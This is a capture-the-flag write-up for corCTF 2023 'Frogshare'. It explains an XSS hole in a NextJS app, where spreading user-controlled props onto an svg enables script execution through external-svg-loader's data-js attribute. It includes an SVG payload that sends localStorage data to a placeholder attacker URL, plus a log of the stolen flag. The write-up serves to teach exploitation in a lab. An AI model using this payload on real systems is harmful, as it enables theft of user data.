corCTF 2023 - Frogshare

  • Author: jazzpizazz
  • Date:

Frogshare

challenge

Frogshare is a rather easy XSS challenge. The NextJS webapp allows users to register and share an image of a frog in SVG format. Frogs are only shown on the main page once they are approved by an admin, and players can request the admin (bot) to look at their frog and approve it.

When creating or editing a frog, the following data is sent:

json

Notice how the height and width are in a JSON object called svgProps, when looking through the code we can see its being used in the Frog component:

1const svgProps = useMemo(() => {
2        try {
3            return JSON.parse(frog.svgProps);
4        } catch {
5            return null;
6        }
7    }, [frog.svgProps]);

In the JSX of this component the parsed object is applied to the element through prop spreading:

1<svg data-src={img} {...svgProps} />

This basically means that in the situation where svgProps is {height: 64, width: 64} we get the following html:

1<svg data-src={img} height={64} width={64}/>

The first thing Strellic tried when testing the challenge was injecting the dangerouslySetInnerHTML prop and injecting the script like that. This was not the intended route and I blocked this by adding a CSP. We can however add any props and thus attributes to our SVG.

The SVG’s are being loaded by a library that is imported in this same file: import "external-svg-loader"; looking at the documentation of the library we find an interesting feature called “enable javascript”:

SVG format supports scripting. However, for security reasons, svg-loader will strip all JS code before injecting the SVG file. You can enable it by: <svg … data-js=“enabled” …/>

So basically if we can add this attribute to our svg tag, it will happily accept any Javascript in the user supplied SVG.

As we control the props of the svg tag we can just edit our frog, intercept the request and inject the data-js attribute:

1{
2  ...,
3  svgProps: {
4     "width": 64,
5     "height": 64,
6     "data-js": "enabled"
7  }
8}

Then we can use a SVG similar to this one:

1<svg width="100" height="40">
2    <text x="10" y="30" font-size="24" fill="red">pwned</text>
3    <script type="text/javascript">
4        fetch("https://yoururl?flag=" + localStorage.flag).then();
5    </script>
6</svg>

When hosting the SVG ensure that your webserver has the correct CORS headers as the SVG is loaded through XHR. I used a combination of http-server --port 4321 --cors (the node one, not python) and ngrok http 4321 to host my files. After requesting the admin to have a look at our frog we receive the flag:

1[2023-07-30T15:22:47.632Z]  "GET /sice.svg"
2[2023-07-30T15:22:48.274Z]  "GET /?flag=corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}"

The flag is: corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}